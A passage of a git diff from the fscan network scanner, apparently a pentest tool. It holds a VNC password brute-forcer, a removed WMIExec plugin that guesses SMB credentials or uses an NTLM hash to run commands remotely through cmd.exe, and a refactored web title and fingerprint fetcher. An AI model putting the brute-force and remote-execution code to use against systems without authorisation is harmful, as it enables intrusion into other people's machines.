close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("VNC并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryVncCredential 尝试单个VNC凭据
|
||||||
|
func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &VncScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建连接超时上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
success, err := VncConn(connCtx, info, credential.Password)
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &VncScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &VncScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// VncConn 尝试建立VNC连接
|
||||||
|
func VncConn(ctx context.Context, info *Common.HostInfo, pass string) (bool, error) {
|
||||||
|
Host, Port := info.Host, info.Ports
|
||||||
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
|
// 使用带上下文的TCP连接
|
||||||
|
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port), timeout)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 设置读写超时
|
||||||
|
if err := conn.SetDeadline(time.Now().Add(timeout)); err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建完成通道
|
||||||
|
doneChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中处理VNC认证
|
||||||
|
go func() {
|
||||||
|
// 配置VNC客户端
|
||||||
|
config := &vnc.ClientConfig{
|
||||||
|
Auth: []vnc.ClientAuth{
|
||||||
|
&vnc.PasswordAuth{
|
||||||
|
Password: pass,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试VNC认证
|
||||||
|
client, err := vnc.Client(conn, config)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case doneChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{false, err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 认证成功
|
||||||
|
defer client.Close()
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case doneChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{true, nil}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待认证结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-doneChan:
|
||||||
|
return result.success, result.err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveVncResult 保存VNC扫描结果
|
||||||
|
func saveVncResult(info *Common.HostInfo, target string, credential VncCredential) {
|
||||||
|
successLog := fmt.Sprintf("vnc://%s 密码: %v", target, credential.Password)
|
||||||
|
Common.LogSuccess(successLog)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "vnc",
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
@@ -1,156 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/Common"
|
|
||||||
"os"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
|
||||||
)
|
|
||||||
|
|
||||||
// 全局变量
|
|
||||||
var (
|
|
||||||
ClientHost string // 客户端主机名
|
|
||||||
flag bool // 初始化标志
|
|
||||||
)
|
|
||||||
|
|
||||||
// init 初始化函数
|
|
||||||
func init() {
|
|
||||||
if flag {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
// 获取主机名
|
|
||||||
clientHost, err := os.Hostname()
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println(err)
|
|
||||||
}
|
|
||||||
ClientHost = clientHost
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
|
|
||||||
// WmiExec 执行WMI远程命令
|
|
||||||
func WmiExec(info *Common.HostInfo) (tmperr error) {
|
|
||||||
// 如果是暴力破解模式则跳过
|
|
||||||
if Common.IsBrute {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
|
||||||
// 遍历用户字典
|
|
||||||
for _, user := range Common.Userdict["smb"] {
|
|
||||||
PASS:
|
|
||||||
// 遍历密码字典
|
|
||||||
for _, pass := range Common.Passwords {
|
|
||||||
// 替换密码模板中的用户名
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
|
|
||||||
// 尝试WMI连接
|
|
||||||
flag, err := Wmiexec(info, user, pass, Common.Hash)
|
|
||||||
|
|
||||||
// 记录错误日志
|
|
||||||
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
|
||||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
|
||||||
Common.LogError(errlog)
|
|
||||||
|
|
||||||
if flag {
|
|
||||||
// 成功连接,记录结果
|
|
||||||
var result string
|
|
||||||
if Common.Domain != "" {
|
|
||||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加认证信息到结果
|
|
||||||
if Common.Hash != "" {
|
|
||||||
result += "hash: " + Common.Hash
|
|
||||||
} else {
|
|
||||||
result += pass
|
|
||||||
}
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
tmperr = err
|
|
||||||
// 检查错误是否需要终止
|
|
||||||
if Common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果使用NTLM Hash,则跳过密码循环
|
|
||||||
if len(Common.Hash) == 32 {
|
|
||||||
break PASS
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return tmperr
|
|
||||||
}
|
|
||||||
|
|
||||||
// Wmiexec 包装WMI执行函数
|
|
||||||
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
|
||||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
|
||||||
wmiexec.Timeout = int(Common.Timeout)
|
|
||||||
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
// WMIExec 执行WMI远程命令
|
|
||||||
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
|
||||||
// 初始化WMI配置
|
|
||||||
if cfgIn == nil {
|
|
||||||
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
|
|
||||||
if err1 != nil {
|
|
||||||
err = err1
|
|
||||||
return
|
|
||||||
}
|
|
||||||
cfgIn = &cfg
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建WMI执行器
|
|
||||||
execer := wmiexec.NewExecer(cfgIn)
|
|
||||||
|
|
||||||
// 设置目标绑定
|
|
||||||
err = execer.SetTargetBinding(binding)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// 进行认证
|
|
||||||
err = execer.Auth()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
flag = true
|
|
||||||
|
|
||||||
// 如果有命令则执行
|
|
||||||
if command != "" {
|
|
||||||
// 使用cmd.exe执行命令
|
|
||||||
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
|
||||||
|
|
||||||
// 检查RPC端口
|
|
||||||
if execer.TargetRPCPort == 0 {
|
|
||||||
err = errors.New("RPC端口为0,无法连接")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// 建立RPC连接
|
|
||||||
err = execer.RPCConnect()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// 执行命令
|
|
||||||
err = execer.Exec(command)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"github.com/shadow1ng/fscan/WebScan"
|
||||||
|
)
|
||||||
|
|
||||||
|
// WebPoc 直接执行Web漏洞扫描
|
||||||
|
func WebPoc(info *Common.HostInfo) error {
|
||||||
|
if Common.DisablePocScan {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
WebScan.WebScan(info)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
+438
-208
@@ -2,13 +2,15 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"compress/gzip"
|
"compress/gzip"
|
||||||
|
"context"
|
||||||
"crypto/tls"
|
"crypto/tls"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
|
||||||
"regexp"
|
"regexp"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
"unicode/utf8"
|
"unicode/utf8"
|
||||||
|
|
||||||
@@ -18,122 +20,203 @@ import (
|
|||||||
"golang.org/x/text/encoding/simplifiedchinese"
|
"golang.org/x/text/encoding/simplifiedchinese"
|
||||||
)
|
)
|
||||||
|
|
||||||
// WebTitle 获取Web标题并执行扫描
|
// 常量定义
|
||||||
|
const (
|
||||||
|
maxTitleLength = 100
|
||||||
|
defaultProtocol = "http"
|
||||||
|
httpsProtocol = "https"
|
||||||
|
httpProtocol = "http"
|
||||||
|
printerFingerPrint = "打印机"
|
||||||
|
emptyTitle = "\"\""
|
||||||
|
noTitleText = "无标题"
|
||||||
|
|
||||||
|
// HTTP相关常量
|
||||||
|
httpPort = "80"
|
||||||
|
httpsPort = "443"
|
||||||
|
contentEncoding = "Content-Encoding"
|
||||||
|
gzipEncoding = "gzip"
|
||||||
|
contentLength = "Content-Length"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 错误定义
|
||||||
|
var (
|
||||||
|
ErrNoTitle = fmt.Errorf("无法获取标题")
|
||||||
|
ErrHTTPClientInit = fmt.Errorf("HTTP客户端未初始化")
|
||||||
|
ErrReadRespBody = fmt.Errorf("读取响应内容失败")
|
||||||
|
)
|
||||||
|
|
||||||
|
// 响应结果
|
||||||
|
type WebResponse struct {
|
||||||
|
Url string
|
||||||
|
StatusCode int
|
||||||
|
Title string
|
||||||
|
Length string
|
||||||
|
Headers map[string]string
|
||||||
|
RedirectUrl string
|
||||||
|
Body []byte
|
||||||
|
Error error
|
||||||
|
}
|
||||||
|
|
||||||
|
// 协议检测结果
|
||||||
|
type ProtocolResult struct {
|
||||||
|
Protocol string
|
||||||
|
Success bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// WebTitle 获取Web标题和指纹信息
|
||||||
func WebTitle(info *Common.HostInfo) error {
|
func WebTitle(info *Common.HostInfo) error {
|
||||||
// 如果是webpoc扫描模式,直接执行WebScan
|
if info == nil {
|
||||||
if Common.Scantype == "webpoc" {
|
return fmt.Errorf("主机信息为空")
|
||||||
WebScan.WebScan(info)
|
}
|
||||||
return nil
|
|
||||||
|
// 初始化Url
|
||||||
|
if err := initializeUrl(info); err != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("初始化Url失败: %v", err))
|
||||||
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取网站标题信息
|
// 获取网站标题信息
|
||||||
err, CheckData := GOWebTitle(info)
|
checkData, err := fetchWebInfo(info)
|
||||||
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
|
if err != nil {
|
||||||
|
// 记录错误但继续处理可能获取的数据
|
||||||
// 检查是否为打印机,避免意外打印
|
Common.LogError(fmt.Sprintf("获取网站信息失败: %s %v", info.Url, err))
|
||||||
for _, v := range info.Infostr {
|
|
||||||
if v == "打印机" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 根据配置决定是否执行漏洞扫描
|
// 分析指纹
|
||||||
if !Common.NoPoc && err == nil {
|
if len(checkData) > 0 {
|
||||||
WebScan.WebScan(info)
|
info.Infostr = WebScan.InfoCheck(info.Url, &checkData)
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
// 检查是否为打印机,避免意外打印
|
||||||
Common.LogError(errlog)
|
for _, v := range info.Infostr {
|
||||||
|
if v == printerFingerPrint {
|
||||||
|
Common.LogBase("检测到打印机,停止扫描")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// GOWebTitle 获取网站标题并处理URL
|
// 初始化Url:根据主机和端口生成完整Url
|
||||||
func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
|
func initializeUrl(info *Common.HostInfo) error {
|
||||||
// 如果URL未指定,根据端口生成URL
|
|
||||||
if info.Url == "" {
|
if info.Url == "" {
|
||||||
|
// 根据端口推断Url
|
||||||
switch info.Ports {
|
switch info.Ports {
|
||||||
case "80":
|
case httpPort:
|
||||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
info.Url = fmt.Sprintf("%s://%s", httpProtocol, info.Host)
|
||||||
case "443":
|
case httpsPort:
|
||||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
info.Url = fmt.Sprintf("%s://%s", httpsProtocol, info.Host)
|
||||||
default:
|
default:
|
||||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
protocol := GetProtocol(host, Common.Timeout)
|
protocol, err := detectProtocol(host, Common.Timeout)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("协议检测失败: %w", err)
|
||||||
|
}
|
||||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||||
}
|
}
|
||||||
} else {
|
} else if !strings.Contains(info.Url, "://") {
|
||||||
// 处理未指定协议的URL
|
// 处理未指定协议的Url
|
||||||
if !strings.Contains(info.Url, "://") {
|
host := strings.Split(info.Url, "/")[0]
|
||||||
host := strings.Split(info.Url, "/")[0]
|
protocol, err := detectProtocol(host, Common.Timeout)
|
||||||
protocol := GetProtocol(host, Common.Timeout)
|
|
||||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 第一次获取URL
|
|
||||||
err, result, CheckData := geturl(info, 1, CheckData)
|
|
||||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理URL跳转
|
|
||||||
if strings.Contains(result, "://") {
|
|
||||||
info.Url = result
|
|
||||||
err, result, CheckData = geturl(info, 3, CheckData)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return fmt.Errorf("协议检测失败: %w", err)
|
||||||
}
|
}
|
||||||
|
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理HTTP到HTTPS的升级
|
return nil
|
||||||
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
|
|
||||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
|
||||||
err, result, CheckData = geturl(info, 1, CheckData)
|
|
||||||
|
|
||||||
// 处理升级后的跳转
|
|
||||||
if strings.Contains(result, "://") {
|
|
||||||
info.Url = result
|
|
||||||
err, _, CheckData = geturl(info, 3, CheckData)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// geturl 获取URL响应内容和信息
|
// 获取Web信息:标题、指纹等
|
||||||
// 参数:
|
func fetchWebInfo(info *Common.HostInfo) ([]WebScan.CheckDatas, error) {
|
||||||
// - info: 主机配置信息
|
var checkData []WebScan.CheckDatas
|
||||||
// - flag: 请求类型标志(1:首次尝试 2:获取favicon 3:处理302跳转 4:处理400转https)
|
|
||||||
// - CheckData: 检查数据数组
|
// 记录原始Url协议
|
||||||
//
|
originalUrl := info.Url
|
||||||
// 返回:
|
isHTTPS := strings.HasPrefix(info.Url, "https://")
|
||||||
// - error: 错误信息
|
|
||||||
// - string: 重定向URL或协议
|
// 第一次尝试访问Url
|
||||||
// - []WebScan.CheckDatas: 更新后的检查数据
|
resp, err := fetchUrlWithRetry(info, false, &checkData)
|
||||||
func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
|
||||||
// 处理目标URL
|
// 处理不同的错误情况
|
||||||
Url := info.Url
|
if err != nil {
|
||||||
if flag == 2 {
|
// 如果是HTTPS并失败,尝试降级到HTTP
|
||||||
// 获取favicon.ico的URL
|
if isHTTPS {
|
||||||
URL, err := url.Parse(Url)
|
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
|
||||||
if err == nil {
|
resp, err = fetchUrlWithRetry(info, false, &checkData)
|
||||||
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
|
|
||||||
|
// 如果HTTP也失败,恢复原始Url并返回错误
|
||||||
|
if err != nil {
|
||||||
|
info.Url = originalUrl
|
||||||
|
return checkData, err
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
Url += "/favicon.ico"
|
return checkData, err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 创建HTTP请求
|
// 处理重定向
|
||||||
req, err := http.NewRequest("GET", Url, nil)
|
if resp != nil && resp.RedirectUrl != "" {
|
||||||
|
info.Url = resp.RedirectUrl
|
||||||
|
resp, err = fetchUrlWithRetry(info, true, &checkData)
|
||||||
|
|
||||||
|
// 如果重定向后失败,尝试降级协议
|
||||||
|
if err != nil && strings.HasPrefix(info.Url, "https://") {
|
||||||
|
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
|
||||||
|
resp, err = fetchUrlWithRetry(info, true, &checkData)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理需要升级到HTTPS的情况
|
||||||
|
if resp != nil && resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https://") {
|
||||||
|
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||||
|
resp, err = fetchUrlWithRetry(info, false, &checkData)
|
||||||
|
|
||||||
|
// 如果HTTPS升级失败,回退到HTTP
|
||||||
|
if err != nil {
|
||||||
|
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
|
||||||
|
resp, err = fetchUrlWithRetry(info, false, &checkData)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理升级后的重定向
|
||||||
|
if resp != nil && resp.RedirectUrl != "" {
|
||||||
|
info.Url = resp.RedirectUrl
|
||||||
|
resp, err = fetchUrlWithRetry(info, true, &checkData)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return checkData, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试获取Url,支持重试
|
||||||
|
func fetchUrlWithRetry(info *Common.HostInfo, followRedirect bool, checkData *[]WebScan.CheckDatas) (*WebResponse, error) {
|
||||||
|
// 获取页面内容
|
||||||
|
resp, err := fetchUrl(info.Url, followRedirect)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err, "", CheckData
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 保存检查数据
|
||||||
|
if resp.Body != nil && len(resp.Body) > 0 {
|
||||||
|
headers := fmt.Sprintf("%v", resp.Headers)
|
||||||
|
*checkData = append(*checkData, WebScan.CheckDatas{resp.Body, headers})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 保存扫描结果
|
||||||
|
if resp.StatusCode > 0 {
|
||||||
|
saveWebResult(info, resp)
|
||||||
|
}
|
||||||
|
|
||||||
|
return resp, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 抓取Url内容
|
||||||
|
func fetchUrl(targetUrl string, followRedirect bool) (*WebResponse, error) {
|
||||||
|
// 创建HTTP请求
|
||||||
|
req, err := http.NewRequest("GET", targetUrl, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("创建HTTP请求失败: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 设置请求头
|
// 设置请求头
|
||||||
@@ -147,177 +230,324 @@ func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
|||||||
|
|
||||||
// 选择HTTP客户端
|
// 选择HTTP客户端
|
||||||
var client *http.Client
|
var client *http.Client
|
||||||
if flag == 1 {
|
if followRedirect {
|
||||||
client = lib.ClientNoRedirect // 不跟随重定向
|
client = lib.Client
|
||||||
} else {
|
} else {
|
||||||
client = lib.Client // 跟随重定向
|
client = lib.ClientNoRedirect
|
||||||
|
}
|
||||||
|
|
||||||
|
if client == nil {
|
||||||
|
return nil, ErrHTTPClientInit
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送请求
|
// 发送请求
|
||||||
resp, err := client.Do(req)
|
resp, err := client.Do(req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err, "https", CheckData
|
// 特殊处理SSL/TLS相关错误
|
||||||
|
errMsg := strings.ToLower(err.Error())
|
||||||
|
if strings.Contains(errMsg, "tls") || strings.Contains(errMsg, "ssl") ||
|
||||||
|
strings.Contains(errMsg, "handshake") || strings.Contains(errMsg, "certificate") {
|
||||||
|
return &WebResponse{Error: err}, nil
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
}
|
}
|
||||||
defer resp.Body.Close()
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
// 准备响应结果
|
||||||
|
result := &WebResponse{
|
||||||
|
Url: req.URL.String(),
|
||||||
|
StatusCode: resp.StatusCode,
|
||||||
|
Headers: make(map[string]string),
|
||||||
|
}
|
||||||
|
|
||||||
|
// 提取响应头
|
||||||
|
for k, v := range resp.Header {
|
||||||
|
if len(v) > 0 {
|
||||||
|
result.Headers[k] = v[0]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取内容长度
|
||||||
|
result.Length = resp.Header.Get(contentLength)
|
||||||
|
|
||||||
|
// 检查重定向
|
||||||
|
redirectUrl, err := resp.Location()
|
||||||
|
if err == nil {
|
||||||
|
result.RedirectUrl = redirectUrl.String()
|
||||||
|
}
|
||||||
|
|
||||||
// 读取响应内容
|
// 读取响应内容
|
||||||
body, err := getRespBody(resp)
|
body, err := readResponseBody(resp)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err, "https", CheckData
|
return result, fmt.Errorf("读取响应内容失败: %w", err)
|
||||||
|
}
|
||||||
|
result.Body = body
|
||||||
|
|
||||||
|
// 提取标题
|
||||||
|
if !utf8.Valid(body) {
|
||||||
|
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
|
||||||
|
}
|
||||||
|
result.Title = extractTitle(body)
|
||||||
|
|
||||||
|
if result.Length == "" {
|
||||||
|
result.Length = fmt.Sprintf("%d", len(body))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 保存检查数据
|
return result, nil
|
||||||
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
|
|
||||||
|
|
||||||
// 处理非favicon请求
|
|
||||||
var reurl string
|
|
||||||
if flag != 2 {
|
|
||||||
// 处理编码
|
|
||||||
if !utf8.Valid(body) {
|
|
||||||
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取页面信息
|
|
||||||
title := gettitle(body)
|
|
||||||
length := resp.Header.Get("Content-Length")
|
|
||||||
if length == "" {
|
|
||||||
length = fmt.Sprintf("%v", len(body))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理重定向
|
|
||||||
redirURL, err1 := resp.Location()
|
|
||||||
if err1 == nil {
|
|
||||||
reurl = redirURL.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// 输出结果
|
|
||||||
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
|
||||||
resp.Request.URL, resp.StatusCode, length, title)
|
|
||||||
if reurl != "" {
|
|
||||||
result += fmt.Sprintf(" 重定向地址: %s", reurl)
|
|
||||||
}
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 返回结果
|
|
||||||
if reurl != "" {
|
|
||||||
return nil, reurl, CheckData
|
|
||||||
}
|
|
||||||
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
|
|
||||||
return nil, "https", CheckData
|
|
||||||
}
|
|
||||||
return nil, "", CheckData
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// getRespBody 读取HTTP响应体内容
|
// 读取HTTP响应体内容
|
||||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
func readResponseBody(resp *http.Response) ([]byte, error) {
|
||||||
var body []byte
|
var body []byte
|
||||||
|
var reader io.Reader = resp.Body
|
||||||
|
|
||||||
// 处理gzip压缩的响应
|
// 处理gzip压缩的响应
|
||||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
if resp.Header.Get(contentEncoding) == gzipEncoding {
|
||||||
gr, err := gzip.NewReader(oResp.Body)
|
gr, err := gzip.NewReader(resp.Body)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, fmt.Errorf("创建gzip解压器失败: %w", err)
|
||||||
}
|
}
|
||||||
defer gr.Close()
|
defer gr.Close()
|
||||||
|
reader = gr
|
||||||
// 循环读取解压内容
|
|
||||||
for {
|
|
||||||
buf := make([]byte, 1024)
|
|
||||||
n, err := gr.Read(buf)
|
|
||||||
if err != nil && err != io.EOF {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
if n == 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
body = append(body, buf...)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// 直接读取未压缩的响应
|
|
||||||
raw, err := io.ReadAll(oResp.Body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
body = raw
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 读取内容
|
||||||
|
body, err := io.ReadAll(reader)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("读取响应内容失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
return body, nil
|
return body, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// gettitle 从HTML内容中提取网页标题
|
// 提取网页标题
|
||||||
func gettitle(body []byte) (title string) {
|
func extractTitle(body []byte) string {
|
||||||
// 使用正则表达式匹配title标签内容
